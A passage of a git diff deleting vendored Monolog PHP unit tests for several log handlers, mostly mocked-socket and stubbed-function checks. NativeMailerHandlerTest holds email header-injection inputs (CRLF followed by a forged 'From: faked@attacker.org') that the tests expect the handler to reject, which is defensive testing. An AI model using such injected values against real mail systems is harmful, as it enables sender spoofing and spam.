$this->getMock('Monolog\\Formatter\\FormatterInterface'); - $this->handler->expects($this->once()) - ->method('setFormatter') - ->with($formatter); - - $this->assertEquals($this->wrapper, $this->wrapper->setFormatter($formatter)); - } - - public function testGetFormatter() - { - $formatter = $this->getMock('Monolog\\Formatter\\FormatterInterface'); - $this->handler->expects($this->once()) - ->method('getFormatter') - ->willReturn($formatter); - - $this->assertEquals($formatter, $this->wrapper->getFormatter()); - } -} diff --git a/vendor/monolog/monolog/tests/Monolog/Handler/HipChatHandlerTest.php b/vendor/monolog/monolog/tests/Monolog/Handler/HipChatHandlerTest.php deleted file mode 100644 index ff84c2bfcc..0000000000 --- a/vendor/monolog/monolog/tests/Monolog/Handler/HipChatHandlerTest.php +++ /dev/null @@ -1,279 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Monolog\TestCase; -use Monolog\Logger; - -/** - * @author Rafael Dohms - * @see https://www.hipchat.com/docs/api - */ -class HipChatHandlerTest extends TestCase -{ - private $res; - /** @var HipChatHandler */ - private $handler; - - public function testWriteHeader() - { - $this->createHandler(); - $this->handler->handle($this->getRecord(Logger::CRITICAL, 'test1')); - fseek($this->res, 0); - $content = fread($this->res, 1024); - - $this->assertRegexp('/POST \/v1\/rooms\/message\?format=json&auth_token=.* HTTP\/1.1\\r\\nHost: api.hipchat.com\\r\\nContent-Type: application\/x-www-form-urlencoded\\r\\nContent-Length: \d{2,4}\\r\\n\\r\\n/', $content); - - return $content; - } - - public function testWriteCustomHostHeader() - { - $this->createHandler('myToken', 'room1', 'Monolog', true, 'hipchat.foo.bar'); - $this->handler->handle($this->getRecord(Logger::CRITICAL, 'test1')); - fseek($this->res, 0); - $content = fread($this->res, 1024); - - $this->assertRegexp('/POST \/v1\/rooms\/message\?format=json&auth_token=.* HTTP\/1.1\\r\\nHost: hipchat.foo.bar\\r\\nContent-Type: application\/x-www-form-urlencoded\\r\\nContent-Length: \d{2,4}\\r\\n\\r\\n/', $content); - - return $content; - } - - public function testWriteV2() - { - $this->createHandler('myToken', 'room1', 'Monolog', false, 'hipchat.foo.bar', 'v2'); - $this->handler->handle($this->getRecord(Logger::CRITICAL, 'test1')); - fseek($this->res, 0); - $content = fread($this->res, 1024); - - $this->assertRegexp('/POST \/v2\/room\/room1\/notification\?auth_token=.* HTTP\/1.1\\r\\nHost: hipchat.foo.bar\\r\\nContent-Type: application\/x-www-form-urlencoded\\r\\nContent-Length: \d{2,4}\\r\\n\\r\\n/', $content); - - return $content; - } - - public function testWriteV2Notify() - { - $this->createHandler('myToken', 'room1', 'Monolog', true, 'hipchat.foo.bar', 'v2'); - $this->handler->handle($this->getRecord(Logger::CRITICAL, 'test1')); - fseek($this->res, 0); - $content = fread($this->res, 1024); - - $this->assertRegexp('/POST \/v2\/room\/room1\/notification\?auth_token=.* HTTP\/1.1\\r\\nHost: hipchat.foo.bar\\r\\nContent-Type: application\/x-www-form-urlencoded\\r\\nContent-Length: \d{2,4}\\r\\n\\r\\n/', $content); - - return $content; - } - - public function testRoomSpaces() - { - $this->createHandler('myToken', 'room name', 'Monolog', false, 'hipchat.foo.bar', 'v2'); - $this->handler->handle($this->getRecord(Logger::CRITICAL, 'test1')); - fseek($this->res, 0); - $content = fread($this->res, 1024); - - $this->assertRegexp('/POST \/v2\/room\/room%20name\/notification\?auth_token=.* HTTP\/1.1\\r\\nHost: hipchat.foo.bar\\r\\nContent-Type: application\/x-www-form-urlencoded\\r\\nContent-Length: \d{2,4}\\r\\n\\r\\n/', $content); - - return $content; - } - - /** - * @depends testWriteHeader - */ - public function testWriteContent($content) - { - $this->assertRegexp('/notify=0&message=test1&message_format=text&color=red&room_id=room1&from=Monolog$/', $content); - } - - public function testWriteContentV1WithoutName() - { - $this->createHandler('myToken', 'room1', null, false, 'hipchat.foo.bar', 'v1'); - $this->handler->handle($this->getRecord(Logger::CRITICAL, 'test1')); - fseek($this->res, 0); - $content = fread($this->res, 1024); - - $this->assertRegexp('/notify=0&message=test1&message_format=text&color=red&room_id=room1&from=$/', $content); - - return $content; - } - - /** - * @depends testWriteCustomHostHeader - */ - public function testWriteContentNotify($content) - { - $this->assertRegexp('/notify=1&message=test1&message_format=text&color=red&room_id=room1&from=Monolog$/', $content); - } - - /** - * @depends testWriteV2 - */ - public function testWriteContentV2($content) - { - $this->assertRegexp('/notify=false&message=test1&message_format=text&color=red&from=Monolog$/', $content); - } - - /** - * @depends testWriteV2Notify - */ - public function testWriteContentV2Notify($content) - { - $this->assertRegexp('/notify=true&message=test1&message_format=text&color=red&from=Monolog$/', $content); - } - - public function testWriteContentV2WithoutName() - { - $this->createHandler('myToken', 'room1', null, false, 'hipchat.foo.bar', 'v2'); - $this->handler->handle($this->getRecord(Logger::CRITICAL, 'test1')); - fseek($this->res, 0); - $content = fread($this->res, 1024); - - $this->assertRegexp('/notify=false&message=test1&message_format=text&color=red$/', $content); - - return $content; - } - - public function testWriteWithComplexMessage() - { - $this->createHandler(); - $this->handler->handle($this->getRecord(Logger::CRITICAL, 'Backup of database "example" finished in 16 minutes.')); - fseek($this->res, 0); - $content = fread($this->res, 1024); - - $this->assertRegexp('/message=Backup\+of\+database\+%22example%22\+finished\+in\+16\+minutes\./', $content); - } - - public function testWriteTruncatesLongMessage() - { - $this->createHandler(); - $this->handler->handle($this->getRecord(Logger::CRITICAL, str_repeat('abcde', 2000))); - fseek($this->res, 0); - $content = fread($this->res, 12000); - - $this->assertRegexp('/message='.str_repeat('abcde', 1900).'\+%5Btruncated%5D/', $content); - } - - /** - * @dataProvider provideLevelColors - */ - public function testWriteWithErrorLevelsAndColors($level, $expectedColor) - { - $this->createHandler(); - $this->handler->handle($this->getRecord($level, 'Backup of database "example" finished in 16 minutes.')); - fseek($this->res, 0); - $content = fread($this->res, 1024); - - $this->assertRegexp('/color='.$expectedColor.'/', $content); - } - - public function provideLevelColors() - { - return array( - array(Logger::DEBUG, 'gray'), - array(Logger::INFO, 'green'), - array(Logger::WARNING, 'yellow'), - array(Logger::ERROR, 'red'), - array(Logger::CRITICAL, 'red'), - array(Logger::ALERT, 'red'), - array(Logger::EMERGENCY,'red'), - array(Logger::NOTICE, 'green'), - ); - } - - /** - * @dataProvider provideBatchRecords - */ - public function testHandleBatch($records, $expectedColor) - { - $this->createHandler(); - - $this->handler->handleBatch($records); - - fseek($this->res, 0); - $content = fread($this->res, 1024); - - $this->assertRegexp('/color='.$expectedColor.'/', $content); - } - - public function provideBatchRecords() - { - return array( - array( - array( - array('level' => Logger::WARNING, 'message' => 'Oh bugger!', 'level_name' => 'warning', 'datetime' => new \DateTime()), - array('level' => Logger::NOTICE, 'message' => 'Something noticeable happened.', 'level_name' => 'notice', 'datetime' => new \DateTime()), - array('level' => Logger::CRITICAL, 'message' => 'Everything is broken!', 'level_name' => 'critical', 'datetime' => new \DateTime()), - ), - 'red', - ), - array( - array( - array('level' => Logger::WARNING, 'message' => 'Oh bugger!', 'level_name' => 'warning', 'datetime' => new \DateTime()), - array('level' => Logger::NOTICE, 'message' => 'Something noticeable happened.', 'level_name' => 'notice', 'datetime' => new \DateTime()), - ), - 'yellow', - ), - array( - array( - array('level' => Logger::DEBUG, 'message' => 'Just debugging.', 'level_name' => 'debug', 'datetime' => new \DateTime()), - array('level' => Logger::NOTICE, 'message' => 'Something noticeable happened.', 'level_name' => 'notice', 'datetime' => new \DateTime()), - ), - 'green', - ), - array( - array( - array('level' => Logger::DEBUG, 'message' => 'Just debugging.', 'level_name' => 'debug', 'datetime' => new \DateTime()), - ), - 'gray', - ), - ); - } - - private function createHandler($token = 'myToken', $room = 'room1', $name = 'Monolog', $notify = false, $host = 'api.hipchat.com', $version = 'v1') - { - $constructorArgs = array($token, $room, $name, $notify, Logger::DEBUG, true, true, 'text', $host, $version); - $this->res = fopen('php://memory', 'a'); - $this->handler = $this->getMock( - '\Monolog\Handler\HipChatHandler', - array('fsockopen', 'streamSetTimeout', 'closeSocket'), - $constructorArgs - ); - - $reflectionProperty = new \ReflectionProperty('\Monolog\Handler\SocketHandler', 'connectionString'); - $reflectionProperty->setAccessible(true); - $reflectionProperty->setValue($this->handler, 'localhost:1234'); - - $this->handler->expects($this->any()) - ->method('fsockopen') - ->will($this->returnValue($this->res)); - $this->handler->expects($this->any()) - ->method('streamSetTimeout') - ->will($this->returnValue(true)); - $this->handler->expects($this->any()) - ->method('closeSocket') - ->will($this->returnValue(true)); - - $this->handler->setFormatter($this->getIdentityFormatter()); - } - - /** - * @expectedException InvalidArgumentException - */ - public function testCreateWithTooLongName() - { - $hipChatHandler = new HipChatHandler('token', 'room', 'SixteenCharsHere'); - } - - public function testCreateWithTooLongNameV2() - { - // creating a handler with too long of a name but using the v2 api doesn't matter. - $hipChatHandler = new HipChatHandler('token', 'room', 'SixteenCharsHere', false, Logger::CRITICAL, true, true, 'test', 'api.hipchat.com', 'v2'); - } -} diff --git a/vendor/monolog/monolog/tests/Monolog/Handler/InsightOpsHandlerTest.php b/vendor/monolog/monolog/tests/Monolog/Handler/InsightOpsHandlerTest.php deleted file mode 100644 index 7feb5110c4..0000000000 --- a/vendor/monolog/monolog/tests/Monolog/Handler/InsightOpsHandlerTest.php +++ /dev/null @@ -1,80 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - - namespace Monolog\Handler; - - use Monolog\TestCase; - use Monolog\Logger; - -/** - * @author Robert Kaufmann III - * @author Gabriel Machado - */ -class InsightOpsHandlerTest extends TestCase -{ - /** - * @var resource - */ - private $resource; - - /** - * @var LogEntriesHandler - */ - private $handler; - - public function testWriteContent() - { - $this->createHandler(); - $this->handler->handle($this->getRecord(Logger::CRITICAL, 'Critical write test')); - - fseek($this->resource, 0); - $content = fread($this->resource, 1024); - - $this->assertRegexp('/testToken \[\d{4}-\d{2}-\d{2} \d{2}:\d{2}:\d{2}\] test.CRITICAL: Critical write test/', $content); - } - - public function testWriteBatchContent() - { - $this->createHandler(); - $this->handler->handleBatch($this->getMultipleRecords()); - - fseek($this->resource, 0); - $content = fread($this->resource, 1024); - - $this->assertRegexp('/(testToken \[\d{4}-\d{2}-\d{2} \d{2}:\d{2}:\d{2}\] .* \[\] \[\]\n){3}/', $content); - } - - private function createHandler() - { - $useSSL = extension_loaded('openssl'); - $args = array('testToken', 'us', $useSSL, Logger::DEBUG, true); - $this->resource = fopen('php://memory', 'a'); - $this->handler = $this->getMock( - '\Monolog\Handler\InsightOpsHandler', - array('fsockopen', 'streamSetTimeout', 'closeSocket'), - $args - ); - - $reflectionProperty = new \ReflectionProperty('\Monolog\Handler\SocketHandler', 'connectionString'); - $reflectionProperty->setAccessible(true); - $reflectionProperty->setValue($this->handler, 'localhost:1234'); - - $this->handler->expects($this->any()) - ->method('fsockopen') - ->will($this->returnValue($this->resource)); - $this->handler->expects($this->any()) - ->method('streamSetTimeout') - ->will($this->returnValue(true)); - $this->handler->expects($this->any()) - ->method('closeSocket') - ->will($this->returnValue(true)); - } -} diff --git a/vendor/monolog/monolog/tests/Monolog/Handler/LogEntriesHandlerTest.php b/vendor/monolog/monolog/tests/Monolog/Handler/LogEntriesHandlerTest.php deleted file mode 100644 index 96867bc432..0000000000 --- a/vendor/monolog/monolog/tests/Monolog/Handler/LogEntriesHandlerTest.php +++ /dev/null @@ -1,84 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Monolog\TestCase; -use Monolog\Logger; - -/** - * @author Robert Kaufmann III - */ -class LogEntriesHandlerTest extends TestCase -{ - /** - * @var resource - */ - private $res; - - /** - * @var LogEntriesHandler - */ - private $handler; - - public function testWriteContent() - { - $this->createHandler(); - $this->handler->handle($this->getRecord(Logger::CRITICAL, 'Critical write test')); - - fseek($this->res, 0); - $content = fread($this->res, 1024); - - $this->assertRegexp('/testToken \[\d{4}-\d{2}-\d{2} \d{2}:\d{2}:\d{2}\] test.CRITICAL: Critical write test/', $content); - } - - public function testWriteBatchContent() - { - $records = array( - $this->getRecord(), - $this->getRecord(), - $this->getRecord(), - ); - $this->createHandler(); - $this->handler->handleBatch($records); - - fseek($this->res, 0); - $content = fread($this->res, 1024); - - $this->assertRegexp('/(testToken \[\d{4}-\d{2}-\d{2} \d{2}:\d{2}:\d{2}\] .* \[\] \[\]\n){3}/', $content); - } - - private function createHandler() - { - $useSSL = extension_loaded('openssl'); - $args = array('testToken', $useSSL, Logger::DEBUG, true); - $this->res = fopen('php://memory', 'a'); - $this->handler = $this->getMock( - '\Monolog\Handler\LogEntriesHandler', - array('fsockopen', 'streamSetTimeout', 'closeSocket'), - $args - ); - - $reflectionProperty = new \ReflectionProperty('\Monolog\Handler\SocketHandler', 'connectionString'); - $reflectionProperty->setAccessible(true); - $reflectionProperty->setValue($this->handler, 'localhost:1234'); - - $this->handler->expects($this->any()) - ->method('fsockopen') - ->will($this->returnValue($this->res)); - $this->handler->expects($this->any()) - ->method('streamSetTimeout') - ->will($this->returnValue(true)); - $this->handler->expects($this->any()) - ->method('closeSocket') - ->will($this->returnValue(true)); - } -} diff --git a/vendor/monolog/monolog/tests/Monolog/Handler/MailHandlerTest.php b/vendor/monolog/monolog/tests/Monolog/Handler/MailHandlerTest.php deleted file mode 100644 index 90d9345745..0000000000 --- a/vendor/monolog/monolog/tests/Monolog/Handler/MailHandlerTest.php +++ /dev/null @@ -1,75 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Monolog\Logger; -use Monolog\TestCase; - -class MailHandlerTest extends TestCase -{ - /** - * @covers Monolog\Handler\MailHandler::handleBatch - */ - public function testHandleBatch() - { - $formatter = $this->getMock('Monolog\\Formatter\\FormatterInterface'); - $formatter->expects($this->once()) - ->method('formatBatch'); // Each record is formatted - - $handler = $this->getMockForAbstractClass('Monolog\\Handler\\MailHandler'); - $handler->expects($this->once()) - ->method('send'); - $handler->expects($this->never()) - ->method('write'); // write is for individual records - - $handler->setFormatter($formatter); - - $handler->handleBatch($this->getMultipleRecords()); - } - - /** - * @covers Monolog\Handler\MailHandler::handleBatch - */ - public function testHandleBatchNotSendsMailIfMessagesAreBelowLevel() - { - $records = array( - $this->getRecord(Logger::DEBUG, 'debug message 1'), - $this->getRecord(Logger::DEBUG, 'debug message 2'), - $this->getRecord(Logger::INFO, 'information'), - ); - - $handler = $this->getMockForAbstractClass('Monolog\\Handler\\MailHandler'); - $handler->expects($this->never()) - ->method('send'); - $handler->setLevel(Logger::ERROR); - - $handler->handleBatch($records); - } - - /** - * @covers Monolog\Handler\MailHandler::write - */ - public function testHandle() - { - $handler = $this->getMockForAbstractClass('Monolog\\Handler\\MailHandler'); - - $record = $this->getRecord(); - $records = array($record); - $records[0]['formatted'] = '['.$record['datetime']->format('Y-m-d H:i:s').'] test.WARNING: test [] []'."\n"; - - $handler->expects($this->once()) - ->method('send') - ->with($records[0]['formatted'], $records); - - $handler->handle($record); - } -} diff --git a/vendor/monolog/monolog/tests/Monolog/Handler/MockRavenClient.php b/vendor/monolog/monolog/tests/Monolog/Handler/MockRavenClient.php deleted file mode 100644 index b1a731a8d0..0000000000 --- a/vendor/monolog/monolog/tests/Monolog/Handler/MockRavenClient.php +++ /dev/null @@ -1,27 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Raven_Client; - -class MockRavenClient extends Raven_Client -{ - public function capture($data, $stack, $vars = null) - { - $data = array_merge($this->get_user_data(), $data); - $this->lastData = $data; - $this->lastStack = $stack; - } - - public $lastData; - public $lastStack; -} diff --git a/vendor/monolog/monolog/tests/Monolog/Handler/MongoDBHandlerTest.php b/vendor/monolog/monolog/tests/Monolog/Handler/MongoDBHandlerTest.php deleted file mode 100644 index 88ae7e6bff..0000000000 --- a/vendor/monolog/monolog/tests/Monolog/Handler/MongoDBHandlerTest.php +++ /dev/null @@ -1,65 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Monolog\TestCase; -use Monolog\Logger; - -class MongoDBHandlerTest extends TestCase -{ - /** - * @expectedException InvalidArgumentException - */ - public function testConstructorShouldThrowExceptionForInvalidMongo() - { - new MongoDBHandler(new \stdClass(), 'DB', 'Collection'); - } - - public function testHandle() - { - $mongo = $this->getMock('Mongo', array('selectCollection'), array(), '', false); - $collection = $this->getMock('stdClass', array('save')); - - $mongo->expects($this->once()) - ->method('selectCollection') - ->with('DB', 'Collection') - ->will($this->returnValue($collection)); - - $record = $this->getRecord(Logger::WARNING, 'test', array('data' => new \stdClass, 'foo' => 34)); - - $expected = array( - 'message' => 'test', - 'context' => array('data' => '[object] (stdClass: {})', 'foo' => 34), - 'level' => Logger::WARNING, - 'level_name' => 'WARNING', - 'channel' => 'test', - 'datetime' => $record['datetime']->format('Y-m-d H:i:s'), - 'extra' => array(), - ); - - $collection->expects($this->once()) - ->method('save') - ->with($expected); - - $handler = new MongoDBHandler($mongo, 'DB', 'Collection'); - $handler->handle($record); - } -} - -if (!class_exists('Mongo')) { - class Mongo - { - public function selectCollection() - { - } - } -} diff --git a/vendor/monolog/monolog/tests/Monolog/Handler/NativeMailerHandlerTest.php b/vendor/monolog/monolog/tests/Monolog/Handler/NativeMailerHandlerTest.php deleted file mode 100644 index 7a5a62b619..0000000000 --- a/vendor/monolog/monolog/tests/Monolog/Handler/NativeMailerHandlerTest.php +++ /dev/null @@ -1,111 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Monolog\TestCase; -use Monolog\Logger; -use InvalidArgumentException; - -function mail($to, $subject, $message, $additional_headers = null, $additional_parameters = null) -{ - $GLOBALS['mail'][] = func_get_args(); -} - -class NativeMailerHandlerTest extends TestCase -{ - protected function setUp() - { - $GLOBALS['mail'] = array(); - } - - /** - * @expectedException InvalidArgumentException - */ - public function testConstructorHeaderInjection() - { - $mailer = new NativeMailerHandler('spammer@example.org', 'dear victim', "receiver@example.org\r\nFrom: faked@attacker.org"); - } - - /** - * @expectedException InvalidArgumentException - */ - public function testSetterHeaderInjection() - { - $mailer = new NativeMailerHandler('spammer@example.org', 'dear victim', 'receiver@example.org'); - $mailer->addHeader("Content-Type: text/html\r\nFrom: faked@attacker.org"); - } - - /** - * @expectedException InvalidArgumentException - */ - public function testSetterArrayHeaderInjection() - { - $mailer = new NativeMailerHandler('spammer@example.org', 'dear victim', 'receiver@example.org'); - $mailer->addHeader(array("Content-Type: text/html\r\nFrom: faked@attacker.org")); - } - - /** - * @expectedException InvalidArgumentException - */ - public function testSetterContentTypeInjection() - { - $mailer = new NativeMailerHandler('spammer@example.org', 'dear victim', 'receiver@example.org'); - $mailer->setContentType("text/html\r\nFrom: faked@attacker.org"); - } - - /** - * @expectedException InvalidArgumentException - */ - public function testSetterEncodingInjection() - { - $mailer = new NativeMailerHandler('spammer@example.org', 'dear victim', 'receiver@example.org'); - $mailer->setEncoding("utf-8\r\nFrom: faked@attacker.org"); - } - - public function testSend() - { - $to = 'spammer@example.org'; - $subject = 'dear victim'; - $from = 'receiver@example.org'; - - $mailer = new NativeMailerHandler($to, $subject, $from); - $mailer->handleBatch(array()); - - // batch is empty, nothing sent - $this->assertEmpty($GLOBALS['mail']); - - // non-empty batch - $mailer->handle($this->getRecord(Logger::ERROR, "Foo\nBar\r\n\r\nBaz")); - $this->assertNotEmpty($GLOBALS['mail']); - $this->assertInternalType('array', $GLOBALS['mail']); - $this->assertArrayHasKey('0', $GLOBALS['mail']); - $params = $GLOBALS['mail'][0]; - $this->assertCount(5, $params); - $this->assertSame($to, $params[0]); - $this->assertSame($subject, $params[1]); - $this->assertStringEndsWith(" test.ERROR: Foo Bar Baz [] []\n", $params[2]); - $this->assertSame("From: $from\r\nContent-type: text/plain; charset=utf-8\r\n", $params[3]); - $this->assertSame('', $params[4]); - } - - public function testMessageSubjectFormatting() - { - $mailer = new NativeMailerHandler('to@example.org', 'Alert: %level_name% %message%', 'from@example.org'); - $mailer->handle($this->getRecord(Logger::ERROR, "Foo\nBar\r\n\r\nBaz")); - $this->assertNotEmpty($GLOBALS['mail']); - $this->assertInternalType('array', $GLOBALS['mail']); - $this->assertArrayHasKey('0', $GLOBALS['mail']); - $params = $GLOBALS['mail'][0]; - $this->assertCount(5, $params); - $this->assertSame('Alert: ERROR Foo Bar Baz', $params[1]); - } -} diff --git a/vendor/monolog/monolog/tests/Monolog/Handler/NewRelicHandlerTest.php b/vendor/monolog/monolog/tests/Monolog/Handler/NewRelicHandlerTest.php deleted file mode 100644 index 2ae2ded094..0000000000 --- a/vendor/monolog/monolog/tests/Monolog/Handler/NewRelicHandlerTest.php +++ /dev/null @@ -1,200 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Monolog\Formatter\LineFormatter; -use Monolog\TestCase; -use Monolog\Logger; - -class NewRelicHandlerTest extends TestCase -{ - public static $appname; - public static $customParameters; - public static $transactionName; - - public function setUp() - { - self::$appname = null; - self::$customParameters = array(); - self::$transactionName = null; - } - - /** - * @expectedException Monolog\Handler\MissingExtensionException - */ - public function testThehandlerThrowsAnExceptionIfTheNRExtensionIsNotLoaded() - { - $handler = new StubNewRelicHandlerWithoutExtension(); - $handler->handle($this->getRecord(Logger::ERROR)); - } - - public function testThehandlerCanHandleTheRecord() - { - $handler = new StubNewRelicHandler(); - $handler->handle($this->getRecord(Logger::ERROR)); - } - - public function testThehandlerCanAddContextParamsToTheNewRelicTrace() - { - $handler = new StubNewRelicHandler(); - $handler->handle($this->getRecord(Logger::ERROR, 'log message', array('a' => 'b'))); - $this->assertEquals(array('context_a' => 'b'), self::$customParameters); - } - - public function testThehandlerCanAddExplodedContextParamsToTheNewRelicTrace() - { - $handler = new StubNewRelicHandler(Logger::ERROR, true, self::$appname, true); - $handler->handle($this->getRecord( - Logger::ERROR, - 'log message', - array('a' => array('key1' => 'value1', 'key2' => 'value2')) - )); - $this->assertEquals( - array('context_a_key1' => 'value1', 'context_a_key2' => 'value2'), - self::$customParameters - ); - } - - public function testThehandlerCanAddExtraParamsToTheNewRelicTrace() - { - $record = $this->getRecord(Logger::ERROR, 'log message'); - $record['extra'] = array('c' => 'd'); - - $handler = new StubNewRelicHandler(); - $handler->handle($record); - - $this->assertEquals(array('extra_c' => 'd'), self::$customParameters); - } - - public function testThehandlerCanAddExplodedExtraParamsToTheNewRelicTrace() - { - $record = $this->getRecord(Logger::ERROR, 'log message'); - $record['extra'] = array('c' => array('key1' => 'value1', 'key2' => 'value2')); - - $handler = new StubNewRelicHandler(Logger::ERROR, true, self::$appname, true); - $handler->handle($record); - - $this->assertEquals( - array('extra_c_key1' => 'value1', 'extra_c_key2' => 'value2'), - self::$customParameters - ); - } - - public function testThehandlerCanAddExtraContextAndParamsToTheNewRelicTrace() - { - $record = $this->getRecord(Logger::ERROR, 'log message', array('a' => 'b')); - $record['extra'] = array('c' => 'd'); - - $handler = new StubNewRelicHandler(); - $handler->handle($record); - - $expected = array( - 'context_a' => 'b', - 'extra_c' => 'd', - ); - - $this->assertEquals($expected, self::$customParameters); - } - - public function testThehandlerCanHandleTheRecordsFormattedUsingTheLineFormatter() - { - $handler = new StubNewRelicHandler(); - $handler->setFormatter(new LineFormatter()); - $handler->handle($this->getRecord(Logger::ERROR)); - } - - public function testTheAppNameIsNullByDefault() - { - $handler = new StubNewRelicHandler(); - $handler->handle($this->getRecord(Logger::ERROR, 'log message')); - - $this->assertEquals(null, self::$appname); - } - - public function testTheAppNameCanBeInjectedFromtheConstructor() - { - $handler = new StubNewRelicHandler(Logger::DEBUG, false, 'myAppName'); - $handler->handle($this->getRecord(Logger::ERROR, 'log message')); - - $this->assertEquals('myAppName', self::$appname); - } - - public function testTheAppNameCanBeOverriddenFromEachLog() - { - $handler = new StubNewRelicHandler(Logger::DEBUG, false, 'myAppName'); - $handler->handle($this->getRecord(Logger::ERROR, 'log message', array('appname' => 'logAppName'))); - - $this->assertEquals('logAppName', self::$appname); - } - - public function testTheTransactionNameIsNullByDefault() - { - $handler = new StubNewRelicHandler(); - $handler->handle($this->getRecord(Logger::ERROR, 'log message')); - - $this->assertEquals(null, self::$transactionName); - } - - public function testTheTransactionNameCanBeInjectedFromTheConstructor() - { - $handler = new StubNewRelicHandler(Logger::DEBUG, false, null, false, 'myTransaction'); - $handler->handle($this->getRecord(Logger::ERROR, 'log message')); - - $this->assertEquals('myTransaction', self::$transactionName); - } - - public function testTheTransactionNameCanBeOverriddenFromEachLog() - { - $handler = new StubNewRelicHandler(Logger::DEBUG, false, null, false, 'myTransaction'); - $handler->handle($this->getRecord(Logger::ERROR, 'log message', array('transaction_name' => 'logTransactName'))); - - $this->assertEquals('logTransactName', self::$transactionName); - } -} - -class StubNewRelicHandlerWithoutExtension extends NewRelicHandler -{ - protected function isNewRelicEnabled() - { - return false; - } -} - -class StubNewRelicHandler extends NewRelicHandler -{ - protected function isNewRelicEnabled() - { - return true; - } -} - -function newrelic_notice_error() -{ - return true; -} - -function newrelic_set_appname($appname) -{ - return NewRelicHandlerTest::$appname = $appname; -} - -function newrelic_name_transaction($transactionName) -{ - return NewRelicHandlerTest::$transactionName = $transactionName; -} - -function newrelic_add_custom_parameter($key, $value) -{ - NewRelicHandlerTest::$customParameters[$key] = $value; - - return true; -} diff --git a/vendor/monolog/monolog/tests/Monolog/Handler/NullHandlerTest.php b/vendor/monolog/monolog/tests/Monolog/Handler/NullHandlerTest.php deleted file mode 100644 index eb19763334..0000000000 --- a/vendor/monolog/monolog/tests/Monolog/Handler/NullHandlerTest.php +++ /dev/null @@ -1,33 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Monolog\TestCase; -use Monolog\Logger; - -/** - * @covers Monolog\Handler\NullHandler::handle - */ -class NullHandlerTest extends TestCase -{ - public function testHandle() - { - $handler = new NullHandler(); - $this->assertTrue($handler->handle($this->getRecord())); - } - - public function testHandleLowerLevelRecord() - { - $handler = new NullHandler(Logger::WARNING); - $this->assertFalse($handler->handle($this->getRecord(Logger::DEBUG))); - } -} diff --git a/vendor/monolog/monolog/tests/Monolog/Handler/PHPConsoleHandlerTest.php b/vendor/monolog/monolog/tests/Monolog/Handler/PHPConsoleHandlerTest.php deleted file mode 100644 index 8b2b23508c..0000000000 --- a/vendor/monolog/monolog/tests/Monolog/Handler/PHPConsoleHandlerTest.php +++ /dev/null @@ -1,273 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Exception; -use Monolog\ErrorHandler; -use Monolog\Logger; -use Monolog\TestCase; -use PhpConsole\Connector; -use PhpConsole\Dispatcher\Debug as DebugDispatcher; -use PhpConsole\Dispatcher\Errors as ErrorDispatcher; -use PhpConsole\Handler; -use PHPUnit_Framework_MockObject_MockObject; - -/** - * @covers Monolog\Handler\PHPConsoleHandler - * @author Sergey Barbushin https://www.linkedin.com/in/barbushin - */ -class PHPConsoleHandlerTest extends TestCase -{ - /** @var Connector|PHPUnit_Framework_MockObject_MockObject */ - protected $connector; - /** @var DebugDispatcher|PHPUnit_Framework_MockObject_MockObject */ - protected $debugDispatcher; - /** @var ErrorDispatcher|PHPUnit_Framework_MockObject_MockObject */ - protected $errorDispatcher; - - protected function setUp() - { - if (!class_exists('PhpConsole\Connector')) { - $this->markTestSkipped('PHP Console library not found. See https://github.com/barbushin/php-console#installation'); - } - $this->connector = $this->initConnectorMock(); - - $this->debugDispatcher = $this->initDebugDispatcherMock($this->connector); - $this->connector->setDebugDispatcher($this->debugDispatcher); - - $this->errorDispatcher = $this->initErrorDispatcherMock($this->connector); - $this->connector->setErrorsDispatcher($this->errorDispatcher); - } - - protected function initDebugDispatcherMock(Connector $connector) - { - return $this->getMockBuilder('PhpConsole\Dispatcher\Debug') - ->disableOriginalConstructor() - ->setMethods(array('dispatchDebug')) - ->setConstructorArgs(array($connector, $connector->getDumper())) - ->getMock(); - } - - protected function initErrorDispatcherMock(Connector $connector) - { - return $this->getMockBuilder('PhpConsole\Dispatcher\Errors') - ->disableOriginalConstructor() - ->setMethods(array('dispatchError', 'dispatchException')) - ->setConstructorArgs(array($connector, $connector->getDumper())) - ->getMock(); - } - - protected function initConnectorMock() - { - $connector = $this->getMockBuilder('PhpConsole\Connector') - ->disableOriginalConstructor() - ->setMethods(array( - 'sendMessage', - 'onShutDown', - 'isActiveClient', - 'setSourcesBasePath', - 'setServerEncoding', - 'setPassword', - 'enableSslOnlyMode', - 'setAllowedIpMasks', - 'setHeadersLimit', - 'startEvalRequestsListener', - )) - ->getMock(); - - $connector->expects($this->any()) - ->method('isActiveClient') - ->will($this->returnValue(true)); - - return $connector; - } - - protected function getHandlerDefaultOption($name) - { - $handler = new PHPConsoleHandler(array(), $this->connector); - $options = $handler->getOptions(); - - return $options[$name]; - } - - protected function initLogger($handlerOptions = array(), $level = Logger::DEBUG) - { - return new Logger('test', array( - new PHPConsoleHandler($handlerOptions, $this->connector, $level), - )); - } - - public function testInitWithDefaultConnector() - { - $handler = new PHPConsoleHandler(); - $this->assertEquals(spl_object_hash(Connector::getInstance()), spl_object_hash($handler->getConnector())); - } - - public function testInitWithCustomConnector() - { - $handler = new PHPConsoleHandler(array(), $this->connector); - $this->assertEquals(spl_object_hash($this->connector), spl_object_hash($handler->getConnector())); - } - - public function testDebug() - { - $this->debugDispatcher->expects($this->once())->method('dispatchDebug')->with($this->equalTo('test')); - $this->initLogger()->addDebug('test'); - } - - public function 